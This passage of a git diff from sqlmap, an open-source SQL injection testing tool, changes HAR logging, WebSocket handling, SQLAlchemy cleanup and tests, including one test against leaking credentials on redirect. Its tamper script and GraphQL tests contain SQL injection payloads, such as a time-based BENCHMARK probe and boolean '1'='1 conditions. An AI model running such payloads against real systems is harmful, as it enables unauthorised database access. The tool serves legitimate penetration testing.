endTime=endTime, - extendedArguments=self.extendedArguments)) + extendedArguments=self.extendedArguments, scheme=scheme)) def obtain(self): return {"log": { @@ -49,15 +49,16 @@ class HTTPCollector(object): }} class RawPair(object): - def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None): + def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None, scheme=None): self.request = getBytes(request) self.response = getBytes(response) self.startTime = startTime self.endTime = endTime self.extendedArguments = extendedArguments or {} + self.scheme = scheme # Note: of the target at the time of the request (as origin-form request lines don't carry one) def toEntry(self): - return Entry(request=Request.parse(self.request), response=Response.parse(self.response), + return Entry(request=Request.parse(self.request, self.scheme), response=Response.parse(self.response), startTime=self.startTime, endTime=self.endTime, extendedArguments=self.extendedArguments) @@ -86,7 +87,7 @@ class Entry(object): return out class Request(object): - def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None): + def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None, scheme=None): self.method = method self.path = path self.httpVersion = httpVersion @@ -94,9 +95,10 @@ class Request(object): self.postBody = postBody self.comment = comment.strip() if comment else comment self.raw = raw + self.scheme = scheme @classmethod - def parse(cls, raw): + def parse(cls, raw, scheme=None): request = HTTPRequest(raw) return cls(method=request.command, path=request.path, @@ -104,12 +106,16 @@ class Request(object): headers=request.headers, postBody=request.rfile.read(), comment=request.comment, - raw=raw) + raw=raw, + scheme=scheme) @property def url(self): + if re.search(r"(?i)\Ahttps?://", self.path or ""): # Note: absolute-form request target (e.g. refreshing/crawling/checking requests) + return self.path + host = self.headers.get("Host", "unknown") - return "http://%s%s" % (host, self.path) + return "%s://%s%s" % (self.scheme or "http", host, self.path) def toDict(self): out = { diff --git a/lib/utils/hash.py b/lib/utils/hash.py index ee3af594c..e23223b6b 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1380,7 +1380,8 @@ def dictionaryAttack(attack_dict): else: try: if multiprocessing.cpu_count() > 1: - _multiprocessing = multiprocessing + # Note: 'forkserver' (POSIX default since Python 3.14) re-imports the main script, which breaks for pip installs (#6180) + _multiprocessing = multiprocessing.get_context("fork") if "fork" in getattr(multiprocessing, "get_all_start_methods", lambda: ())() else multiprocessing except NotImplementedError: pass diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 34c377c5a..9ca71c2e0 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -50,6 +50,7 @@ class SQLAlchemy(GenericConnector): self.dialect = dialect self.address = conf.direct + self.engine = None if conf.dbmsUser: self.address = self.address.replace("'%s':" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser)) @@ -84,6 +85,7 @@ class SQLAlchemy(GenericConnector): else: engine = _sqlalchemy.create_engine(self.address, connect_args={}) + self.engine = engine self.connector = engine.connect() except (TypeError, ValueError) as ex: if "_get_server_version_info" in traceback.format_exc(): @@ -110,6 +112,19 @@ class SQLAlchemy(GenericConnector): else: raise SqlmapMissingDependence("SQLAlchemy not available (e.g. 'pip%s install SQLAlchemy')" % ('3' if six.PY3 else "")) + def close(self): + try: + GenericConnector.close(self) + finally: + # Note: closing the connection only returns it to the engine's pool (the underlying DBAPI + # connection, e.g. sqlite3, stays open) - disposing the engine is what actually releases it + if self.engine is not None: + try: + self.engine.dispose() + except Exception as ex: + logger.debug(getSafeExString(ex)) + self.engine = None + def fetchall(self): try: retVal = [] diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 4d3ce0b70..cab2fef24 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -152,6 +152,7 @@ class Custom(object): # User SQL is not a bundled procedure template: preserve literals and percent tokens. snippet = readCachedFileContent(filename) + snippet = "\n".join(_ for _ in snippet.split("\n") if not re.match(r"\s*(--|#)", _)) # Note: only whole comment lines (literals stay intact) queries = [_.strip() for _ in splitFields(snippet, delimiter=';' if zeroDepthSearch(snippet, ';') else '\n') if _.strip()] if queries and all(query.upper().startswith("SELECT") for query in queries): diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 226f19e60..75f9577f1 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -704,9 +704,9 @@ class Databases(object): if dumpMode and colList: if conf.db not in kb.data.cachedColumns: kb.data.cachedColumns[conf.db] = {} - kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) else: - parseSqliteTableSchema(unArrayizeValue(values)) + parseSqliteTableSchema(unArrayizeValue(values), tbl) elif not isNoneValue(values): table = {} @@ -813,13 +813,13 @@ class Databases(object): if dumpMode and colList: if conf.db not in kb.data.cachedColumns: kb.data.cachedColumns[conf.db] = {} - kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) else: query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) - parseSqliteTableSchema(unArrayizeValue(value)) + parseSqliteTableSchema(unArrayizeValue(value), tbl) - return kb.data.cachedColumns + continue table = {} columns = {} @@ -1058,7 +1058,7 @@ class Databases(object): query = agent.whereQuery(query) count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - if isNumPosStrValue(count): + if isNumPosStrValue(count) or count in (0, "0"): # Note: including empty tables (i.e. 0 entries) if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {} @@ -1234,7 +1234,8 @@ class Databases(object): infoMsg = "fetching stored procedures" logger.info(infoMsg) - rootQuery = queries[Backend.getIdentifiedDbms()].procedures + dbms = Backend.getIdentifiedDbms() + rootQuery = queries[dbms].procedures if dbms in queries and "procedures" in queries[dbms] else {} # Generic-first by design: a DBMS is supported iff it declares a query block in # queries.xml (INFORMATION_SCHEMA.ROUTINES / pg_proc / sys.sql_modules / ALL_SOURCE / RDB$PROCEDURES). diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 61c9ff6cd..a7fb4c184 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -279,7 +279,7 @@ class Search(object): foundTbls[db] = [] else: dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" - foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = [] + foundTbls.setdefault("%s%s" % (dbName, METADB_SUFFIX), []) # Note: keeping matches of previous tables (e.g. -T users,nonexist) for db in foundTbls: db = safeSQLIdentificatorNaming(db) diff --git a/sqlmap.conf b/sqlmap.conf index b6bbb7d5f..9af192c95 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -12,10 +12,10 @@ url = # oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID direct = -# Parse targets from Burp or WebScarab logs +# Parse targets from Burp, WebScarab or HAR logs # Valid: Burp proxy (http://portswigger.net/suite/) requests log file path # or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) -# 'conversations/' folder path +# 'conversations/' folder path or HAR (HTTP Archive) file path logFile = # Scan multiple targets enlisted in a given textual file diff --git a/sqlmap.py b/sqlmap.py index feacbc82c..98446f6dc 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -648,6 +648,9 @@ def main(): except OSError: pass + # Note: --time-limit must not interrupt the final cleanup (e.g. session flush or HAR file writing) + conf.timeLimit = None + if conf.get("hashDB"): conf.hashDB.flush() conf.hashDB.close() # NOTE: because of PyPy diff --git a/tamper/between.py b/tamper/between.py index 00da028c6..3e4323bc3 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -38,6 +38,8 @@ def tamper(payload, **kwargs): '1 AND A BETWEEN B AND B--' >>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()') '1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()' + >>> tamper('1 AND 2314=BENCHMARK(5000000,MD5(0x41))') + '1 AND 2314=BENCHMARK(5000000,MD5(0x41))' >>> tamper('CASE WHEN 1=2 THEN id ELSE 0 END') 'CASE WHEN 1 BETWEEN 2 AND 2 THEN id ELSE 0 END' """ @@ -56,7 +58,7 @@ def tamper(payload, **kwargs): if retVal == payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*(?!])=(?!=)\s*([\w()]+)\s*", payload) # Note: avoiding compound operators (e.g. >=, !=) - if match: + if match and match.group(5).count('(') == match.group(5).count(')'): # Note: e.g. 'BENCHMARK(5000000,MD5(..))' can't be cut at its comma _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) retVal = retVal.replace(match.group(0), _) diff --git a/tests/test_authrefresh.py b/tests/test_authrefresh.py index 5aff5d687..9fe24f329 100644 --- a/tests/test_authrefresh.py +++ b/tests/test_authrefresh.py @@ -68,6 +68,7 @@ class _Handler(BaseHTTPServer.BaseHTTPRequestHandler): def do_POST(self): body = self.rfile.read(int(self.headers.get('Content-Length', '0'))) token = self.headers.get('X-Auth-Token') + self.server.credentials = (self.headers.get('Cookie'), self.headers.get('Authorization')) if self.path == '/refresh': self.server.refreshes += 1 code, body = 200, b'{"token":"fresh"}' @@ -270,6 +271,28 @@ class TestAuthRefresh(unittest.TestCase): other.server_close() thread.join(5) + def test_redirect_to_another_host_does_not_receive_credentials(self): + # Note: user-supplied Cookie/Authorization must not leak to a different host (#6185), while the same host keeps them + conf.authRefresh = None + conf.httpHeaders = [('X-Auth-Token', 'fresh'), ('Cookie', 'session=secret'), ('Authorization', 'Bearer secret')] + other = _Server(('127.0.0.1', 0), _Handler) + other.requests, other.token, other.expired = [], 'fresh', 0 + other.lock = threading.Lock() + other.syncExpired = False + thread = threading.Thread(target=other.serve_forever) + thread.daemon = True + thread.start() + try: + for host, expected in (('localhost', (None, None)), ('127.0.0.1', ('session=secret', 'Bearer secret'))): + other.credentials = None + self.server.redirect = 'http://%s:%d/landing' % (host, other.server_port) + Connect.getPage(url=conf.url.replace('/test', '/redirect')) + self.assertEqual(other.credentials, expected) + finally: + other.shutdown() + other.server_close() + thread.join(5) + def test_auth_refresh_latency_is_excluded_from_query_timing(self): import lib.request.connect as connect originalPage, originalDelta = Connect.getPage, connect.calculateDeltaSeconds diff --git a/tests/test_common.py b/tests/test_common.py index a17ecd668..a346caa99 100644 --- a/tests/test_common.py +++ b/tests/test_common.py @@ -21,6 +21,7 @@ stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. import atexit import base64 +import json import os import shutil import sys @@ -537,6 +538,22 @@ class TestParseRequestFileBurp(unittest.TestCase): self.assertEqual([_[0] for _ in targets], ["https://www.target.com:8443/vuln.php?id=1", "http://www.target.com:443/vuln.php?id=1", "https://www.target.com:443/vuln.php?id=1", "http://www.target.com:8080/vuln.php?id=1"]) self.assertTrue(all("://" not in value for _ in targets for key, value in _[4] if key == "Host")) + def test_har_log(self): + # Note: HAR (HTTP Archive) logs (e.g. ZAP, browsers), including HTTP/2 entries (pseudo-headers, no Host) + entries = [ + {"request": {"method": "GET", "url": "https://www.target.com:8443/vuln.php?id=1", "headers": [{"name": "Host", "value": "www.target.com:8443"}, {"name": "Cookie", "value": "SID=xyz"}]}}, + {"request": {"method": "POST", "url": "https://www.target.com/api", "headers": [{"name": ":authority", "value": "www.target.com"}, {"name": "content-type", "value": "application/json"}], "postData": {"text": '{"id": 1}'}}}, + {"request": {"method": "GET", "url": "https://www.target.com/logo.png", "headers": []}}, + ] + path = _write_temp(json.dumps({"log": {"version": "1.2", "entries": entries}}), ".har") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual([_[:4] for _ in targets], [("https://www.target.com:8443/vuln.php?id=1", HTTPMETHOD.GET, None, "SID=xyz"), ("https://www.target.com/api", HTTPMETHOD.POST, '{"id": 1}', None)]) + self.assertEqual(targets[1][4], (("Host", "www.target.com"), ("content-type", "application/json"))) + def test_post_body_captured(self): content = ( "======================================================\n" diff --git a/tests/test_common_helpers.py b/tests/test_common_helpers.py index ca37d14bd..6c9e88275 100644 --- a/tests/test_common_helpers.py +++ b/tests/test_common_helpers.py @@ -70,6 +70,21 @@ class TestGetHostHeader(unittest.TestCase): def test_without_port(self): self.assertEqual(getHostHeader("http://example.com/path"), "example.com") + def test_default_ports_depend_on_scheme(self): + cases = ( + ("http://example.com:80/path", "example.com"), + ("https://example.com:443/path", "example.com"), + ("http://example.com:443/path", "example.com:443"), + ("https://example.com:80/path", "example.com:80"), + ("HTTP://example.com:443/path", "example.com:443"), + ("http://[::1]:80/path", "[::1]"), + ("https://[::1]:443/path", "[::1]"), + ("http://[::1]:443/path", "[::1]:443"), + ("https://[::1]:80/path", "[::1]:80"), + ) + for url, expected in cases: + self.assertEqual(getHostHeader(url), expected, msg=url) + if __name__ == "__main__": unittest.main(verbosity=2) diff --git a/tests/test_graphql.py b/tests/test_graphql.py index 057b6d7b6..fd519ac52 100644 --- a/tests/test_graphql.py +++ b/tests/test_graphql.py @@ -250,7 +250,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase): gi.conf = type("C", (), {"url": "http://test/graphql"})() pages = {"true": MATCH, "false": NOMATCH} - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "'1'='1" in query: return pages["true"], 200 if "'1'='2" in query: @@ -276,7 +276,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase): def test_graphql_two_true_transport_failures_do_not_confirm(self): # the TRUE query fails transport (-> None), the FALSE succeeds: two None trues must NOT be # read as a reproducible page that "differs" from false (the classic fabricated confirmation) - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "'1'='1" in query: return None, 0 # transport failure on the true payload return NOMATCH, 200 @@ -288,7 +288,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase): def test_graphql_false_page_is_replayed(self): # a FALSE page that does not reproduce (jitter) must not establish an oracle state = {"n": 0} - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "'1'='1" in query: return MATCH, 200 state["n"] += 1 @@ -304,7 +304,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase): # P0-3: the FALSE payload trips a stable HTTP-200 resolver error ({data:null, errors:[...]}), # which yields the same {"user":null} observation as a genuine false. That is NOT a boolean # oracle (it belongs to error-based detection) - _detectBoolean must reject the errored pair. - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "'1'='1" in query: # true -> real rows return MATCH, 200 return '{"data":{"user":null},"errors":[{"message":"resolver failed","path":["user"]}]}', 200 @@ -330,7 +330,7 @@ class TestGraphqlErrorDetection(unittest.TestCase): self._conf = gi.conf gi.conf = type("C", (), {"url": "http://test/graphql"})() - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "'" in query and "'1'='1" not in query: return DB_ERROR, 500 return NOMATCH, 200 @@ -349,7 +349,7 @@ class TestGraphqlErrorDetection(unittest.TestCase): # boolean payloads do NOT diverge (both -> NOMATCH) so boolean detection fails; only the error # payloads trip a DB error. The reported reproducer must be the WINNING error payload, never the # generic ' OR '1'='1 boolean payload. - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "'1'='" in query: # both boolean payloads ('1'='1 / '1'='2) -> identical, no oracle return NOMATCH, 200 if "'" in query: # error payloads (', '', '") -> DB error @@ -415,7 +415,7 @@ class TestGraphqlEndpointDetection(unittest.TestCase): def setUp(self): self._gql = gi._gqlSend - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if endpoint.endswith("/graphql") and "__typename" in query: return '{"data":{"__typename":"Query"}}', 200 return 'Not Found', 404 @@ -433,7 +433,7 @@ class TestGraphqlEndpointDetection(unittest.TestCase): self.assertEqual(endpoint, "http://test/graphql") def test_not_graphql_endpoint(self): - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): return 'Not Found', 404 gi._gqlSend = fakeSend endpoint, page = gi._detectEndpoint("http://test", probePaths=True) @@ -454,7 +454,7 @@ class TestGraphqlIntrospectionFallback(unittest.TestCase): def test_fallback_without_specifiedByURL(self): calls = [] - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): calls.append(query) if "specifiedByURL" in query: return '{"errors":[{"message":"Unknown field specifiedByURL"}]}', 400 @@ -684,7 +684,7 @@ class TestGraphqlInference(unittest.TestCase): NOMATCHV = '{"data":{"user":null}}' saved = gi._gqlSend try: - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "1=1" in query: return MATCHV, 200 if "1=2" in query: @@ -733,7 +733,7 @@ class TestGraphqlMakeOracle(unittest.TestCase): def setUp(self): self._gql = gi._gqlSend - def fakeSend(endpoint, query, variables=None): + def fakeSend(endpoint, query, variables=None, **kwargs): if "a0:" in query: # batched, aliased request data = {} for m in re.finditer(r'(a\d+):\w+\(\w+:"[^"]*\((1=1|1=2)\)', query): diff --git a/tests/test_har.py b/tests/test_har.py index 9b6142624..3ca6b547e 100644 --- a/tests/test_har.py +++ b/tests/test_har.py @@ -52,6 +52,14 @@ class TestHTTPCollector(unittest.TestCase): self.assertEqual(entries[0]["request"]["method"], "GET") self.assertEqual(entries[0]["response"]["status"], 200) + def test_request_url_scheme(self): + # Note: origin-form request lines carry no scheme (HTTPS targets used to be logged as 'http://'), while + # absolute-form ones (refreshing/crawling/checking requests) used to get the Host prepended to them + c = H.HTTPCollector() + for line, scheme in (("GET /?id=1", "https"), ("GET /?id=1", None), ("GET https://other.com:8443/x?id=1", "http")): + c.collectRequest(("%s HTTP/1.1\r\nHost: example.com\r\n\r\n" % line).encode(), b"HTTP/1.1 200 OK\r\n\r\n", startTime=1000, endTime=2000, scheme=scheme) + self.assertEqual([_["request"]["url"] for _ in c.obtain()["log"]["entries"]], ["https://example.com/?id=1", "http://example.com/?id=1", "https://other.com:8443/x?id=1"]) + class TestHTTPCollectorFactory(unittest.TestCase): def test_create_returns_collector(self): diff --git a/tests/test_multibit.py b/tests/test_multibit.py index c69d6b6f5..b51cf5c41 100644 --- a/tests/test_multibit.py +++ b/tests/test_multibit.py @@ -140,8 +140,14 @@ class MultibitTest(unittest.TestCase): multibit._page = self._savedPage multibit.singleTimeWarnMessage, multibit.singleTimeLogMessage = _SAID - def _attempt(self, secret, length=None, **kwargs): + def _target(self, secret, **kwargs): target = _Target(secret, **kwargs) + self.addCleanup(target.db.close) + + return target + + def _attempt(self, secret, length=None, **kwargs): + target = self._target(secret, **kwargs) multibit._page = target.page return self._read(target, secret, length), target @@ -231,7 +237,7 @@ class MultibitTest(unittest.TestCase): # non-ASCII one, and one whose codepoint has an ASCII low byte (U+0141 -> 0x41 'A') all settle # nothing, and none of them may condemn a channel that calibrated cleanly for first in ("", u"\u017eaba pod vodom", u"\u0141ukasz Nowak here"): - target = _Target(first) + target = self._target(first) self.assertIsNone(self._read(target, first, len(first) or None)) good = target.secret("plain ascii value that must still come back") @@ -242,7 +248,7 @@ class MultibitTest(unittest.TestCase): # what the channel did - i.e. exactly the way a channel dropping rows fails it. That is the # data's doing, and a handful of NULLs in one dump must not retire a working channel first = "first value is perfectly readable ascii" - target = _Target(first) + target = self._target(first) self.assertEqual(self._read(target, first, len(first)), first) for _ in range(MULTIBIT_MAX_FAILURES + 1): @@ -253,7 +259,7 @@ class MultibitTest(unittest.TestCase): self.assertEqual(self._read(target, good, len(good)), good) def test_unreadable_value_mid_run_keeps_the_channel(self): - target = _Target("first value is perfectly readable ascii") + target = self._target("first value is perfectly readable ascii") self.assertEqual(self._read(target, "first value is perfectly readable ascii", 39), "first value is perfectly readable ascii") bad = target.secret(u"\u0141ukasz") # reads back as "Aukasz" - right length, wrong char @@ -295,7 +301,7 @@ class MultibitTest(unittest.TestCase): def test_resumed_partial_value_is_left_to_bisection(self): # a resumed value starts mid-string, and multi-bit reads from the first character: it would # re-read what is already cached and then fail its own length read-back - target = _Target("resuming this one is bisection's job") + target = self._target("resuming this one is bisection's job") multibit._page = target.page self.assertIsNone(multibit.attempt("SELECT s FROM v", lambda idx: 'x', 35, None, True)) diff --git a/tests/test_serialize.py b/tests/test_serialize.py index fb7b72bcb..17b163e26 100644 --- a/tests/test_serialize.py +++ b/tests/test_serialize.py @@ -259,6 +259,19 @@ class TestDbmsScalars(unittest.TestCase): self.assertEqual(restored, value) self.assertIs(type(restored), type(value)) + def test_timezone_aware_kept_as_displayed(self): + # Note: a resumed '-d' session used to drop the offset (e.g. '+05:30'), as only naive fields got stored + class _Offset(datetime.tzinfo): + def utcoffset(self, dt): + return datetime.timedelta(hours=5, minutes=30) + + def dst(self, dt): + return datetime.timedelta(0) + + for value in (datetime.datetime(2024, 1, 2, 3, 4, 0, tzinfo=_Offset()), datetime.time(3, 4, 0, tzinfo=_Offset())): + self.assertEqual(rt(value), getUnicode(value)) + self.assertTrue(rt(value).endswith("+05:30")) + class TestRealSessionObjects(unittest.TestCase): # the exact shapes written with serialize=True across the codebase diff --git a/tests/test_sqlalchemy.py b/tests/test_sqlalchemy.py index 768c12411..a531c5219 100644 --- a/tests/test_sqlalchemy.py +++ b/tests/test_sqlalchemy.py @@ -58,6 +58,7 @@ class TestSQLAlchemySqlitePath(unittest.TestCase): sa = SQLAlchemy(dialect="sqlite") sa.connect() + self.addCleanup(sa.close) # the reformatted URL must resolve to the exact absolute file (not '//...path') self.assertEqual(_sa.engine.url.make_url(sa.address).database, os.path.abspath(dbfile)) diff --git a/tests/test_websocket.py b/tests/test_websocket.py index 6091229a6..bea72b715 100644 --- a/tests/test_websocket.py +++ b/tests/test_websocket.py @@ -33,6 +33,9 @@ from lib.request.websocket import ( OPCODE_PING, OPCODE_CLOSE, ) +from lib.request.connect import Connect + +_GET_PAGE = Connect.__dict__["getPage"] class _FakeSock(object): @@ -133,6 +136,117 @@ class TestWebSocket(unittest.TestCase): ws = _client(); ws.sock = _RaisingSock(_ssl.SSLError("decryption failed")) self.assertRaises(_ssl.SSLError, ws.recv) + def test_handshake_host_port(self): + # Note: only the scheme's own default port is omitted (port 443 used to be dropped for 'ws://' too) + import lib.request.websocket as W + + class _Sent(Exception): + pass + + class _Capture(_FakeSock): + def settimeout(self, value): + pass + + def sendall(self, data): + raise _Sent(data) + + original = W.socket.create_connection + try: + W.socket.create_connection = lambda *args, **kwargs: _Capture() + for url, host in (("ws://example.com:443/x", "example.com:443"), ("ws://example.com:80/x", "example.com"), ("ws://example.com:8080/x", "example.com:8080")): + ws = WebSocket.__new__(WebSocket) + ws._timeout = None + try: + ws.connect(url) + except _Sent as ex: + self.assertIn(("Host: %s\r\n" % host).encode(), ex.args[0]) + else: + self.fail("handshake was not sent") + finally: + W.socket.create_connection = original + + def test_getpage_preserves_host_header(self): + import socket + import tempfile + import lib.request.websocket as W + from lib.core.data import conf, kb + from lib.core.option import _setKnowledgeBaseAttributes + from lib.core.threads import getCurrentThreadData + + class _HandshakeSock(_FakeSock): + def __init__(self): + _FakeSock.__init__(self) + self.handshake = None + self.response = b"" + + def settimeout(self, value): + pass + + def sendall(self, data): + if self.handshake is None: + self.handshake = data + key = next(line.split(b":", 1)[1].strip() for line in data.split(b"\r\n") if line.lower().startswith(b"sec-websocket-key:")) + accept = base64.b64encode(hashlib.sha1(key + _GUID.encode("ascii")).digest()) + self.response = b"HTTP/1.1 101 Switching Protocols\r\nSec-WebSocket-Accept: " + accept + b"\r\n\r\n" + _serverFrame("ok") + + def recv(self, size): + result, self.response = self.response[:size], self.response[size:] + return result + + sockets = [] + def create_socket(*args, **kwargs): + sock = _HandshakeSock() + sockets.append(sock) + return sock + + oldConf, oldKb = dict(conf), dict(kb) + threadData = getCurrentThreadData() + oldThreadData = dict(threadData.__dict__) + oldTimeout = socket.getdefaulttimeout() + original = W.socket.create_connection + oldGetPage = Connect.__dict__["getPage"] + fd, headersFile = tempfile.mkstemp(prefix="sqlmap-ws-headers-") + try: + with os.fdopen(fd, "w") as f: + f.write("hOsT: file.example\n") + threadData.__dict__.clear() + threadData.reset() + _setKnowledgeBaseAttributes(False) + kb.wizardMode, kb.webSocketRecvCount = True, 1 + conf.url = "ws://example.test:8080/test" + conf.hostname, conf.scheme, conf.port, conf.path = "example.test", "ws", 8080, "/test" + conf.parameters, conf.data = {}, None + conf.abortCode, conf.ignoreCode = [], [] + conf.timeout, conf.batch, conf.keepAlive = 3, True, False + conf.retryOn, conf.ignoreRedirects, conf.scope = None, False, None + W.socket.create_connection = create_socket + Connect.getPage = _GET_PAGE + cases = ( + ("ws://example.test:8080/test", [], None, None, None, False, "example.test:8080"), + ("ws://user:pass@example.test:8080/test", [], None, None, None, False, "example.test:8080"), + ("ws://example.test:8080/test", [('hOsT', 'configured.example')], None, None, None, False, "configured.example"), + ("ws://example.test:8080/test", [('Host', 'configured.example')], "override.example:8443", None, None, False, "override.example:8443"), + ("ws://example.test:8080/test", [], None, {'Host': 'aux.example'}, None, False, "aux.example"), + ("ws://example.test:8080/test", [], None, None, headersFile, False, "file.example"), + ("ws://example.test:8080/test", [], None, None, None, True, "localhost"), + ) + for url, headers, host, aux, path, localhost, expected in cases: + conf.url = url + conf.httpHeaders = headers + conf.localhost, kb.headersFile = localhost, path + self.assertEqual(Connect.getPage(url=url, host=host, auxHeaders=aux)[0], "ok") + hostLines = [line for line in sockets[-1].handshake.split(b"\r\n") if line.lower().startswith(b"host:")] + self.assertEqual(len(hostLines), 1) + self.assertEqual(hostLines[0].split(b":", 1)[1].strip(), expected.encode("ascii")) + finally: + Connect.getPage = oldGetPage + W.socket.create_connection = original + socket.setdefaulttimeout(oldTimeout) + conf.clear(); conf.update(oldConf) + kb.clear(); kb.update(oldKb) + threadData.__dict__.clear(); threadData.__dict__.update(oldThreadData) + os.unlink(headersFile) + if __name__ == "__main__": unittest.main() diff --git a/tests/test_websocket_response.py b/tests/test_websocket_response.py new file mode 100644 index 000000000..0d56c95ed --- /dev/null +++ b/tests/test_websocket_response.py @@ -0,0 +1,124 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import hashlib +import os +import socket +import struct +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf, kb +from lib.core.exception import SqlmapConnectionException +from lib.core.option import _setKnowledgeBaseAttributes +from lib.core.threads import getCurrentThreadData +from lib.request.connect import Connect +import lib.request.websocket as websocket + +_GET_PAGE = Connect.__dict__["getPage"] + + +def _frame(payload, opcode=1, fin=1): + return bytes(bytearray([(fin << 7) | opcode, len(payload)])) + payload + + +class _Socket(object): + def __init__(self, frames): + self.frames = frames + self.response = b"" + self.handshake = None + + def settimeout(self, value): + pass + + def sendall(self, data): + if self.handshake is None: + self.handshake = data + key = next(line.split(b":", 1)[1].strip() for line in data.split(b"\r\n") if line.lower().startswith(b"sec-websocket-key:")) + accept = base64.b64encode(hashlib.sha1(key + websocket._GUID.encode("ascii")).digest()) + self.response = b"HTTP/1.1 101 Switching Protocols\r\nSec-WebSocket-Accept: " + accept + b"\r\n\r\n" + self.frames + + def recv(self, size): + result, self.response = self.response[:size], self.response[size:] + return result + + def close(self): + pass + + +class TestWebSocketResponseClose(unittest.TestCase): + def setUp(self): + self.oldConf, self.oldKb = dict(conf), dict(kb) + self.threadData = getCurrentThreadData() + self.oldThreadData = dict(self.threadData.__dict__) + self.oldTimeout = socket.getdefaulttimeout() + self.oldSocket = websocket.socket.create_connection + self.oldGetPage = Connect.__dict__["getPage"] + self.threadData.__dict__.clear() + self.threadData.reset() + _setKnowledgeBaseAttributes(False) + kb.wizardMode = True + conf.url = "ws://example.test:8080/test" + conf.hostname, conf.scheme, conf.port, conf.path = "example.test", "ws", 8080, "/test" + conf.httpHeaders, conf.parameters, conf.data = [], {}, None + conf.abortCode, conf.ignoreCode = [], [] + conf.timeout, conf.batch, conf.keepAlive, conf.retries = 3, True, False, 0 + conf.retryOn, conf.ignoreRedirects, conf.scope = None, False, None + Connect.getPage = _GET_PAGE + websocket.socket.create_connection = lambda *args, **kwargs: _Socket(self.frames) + + def tearDown(self): + Connect.getPage = self.oldGetPage + websocket.socket.create_connection = self.oldSocket + socket.setdefaulttimeout(self.oldTimeout) + conf.clear(); conf.update(self.oldConf) + kb.clear(); kb.update(self.oldKb) + self.threadData.__dict__.clear(); self.threadData.__dict__.update(self.oldThreadData) + + def test_normal_close_after_response(self): + for status in (b"", struct.pack("!H", 1000), struct.pack("!H", 1001)): + for count in (None, 3): + self.frames = _frame(b"one") + _frame(b"two") + _frame(status, opcode=8) + kb.webSocketRecvCount = count + self.assertEqual(Connect.getPage(url=conf.url)[0], "one\ntwo") + if count is None: + self.assertEqual(kb.webSocketRecvCount, 2) + + def test_normal_close_without_response(self): + self.frames = _frame(struct.pack("!H", 1000), opcode=8) + kb.webSocketRecvCount = None + self.assertEqual(Connect.getPage(url=conf.url)[0], "") + self.assertEqual(kb.webSocketRecvCount, 0) + + def test_abnormal_close_remains_an_error(self): + for status in (b"\x03", struct.pack("!H", 1002), struct.pack("!H", 1011)): + self.frames = _frame(b"one") + _frame(status, opcode=8) + for count in (None, 3): + kb.webSocketRecvCount = count + self.assertRaises(SqlmapConnectionException, Connect.getPage, url=conf.url) + + def 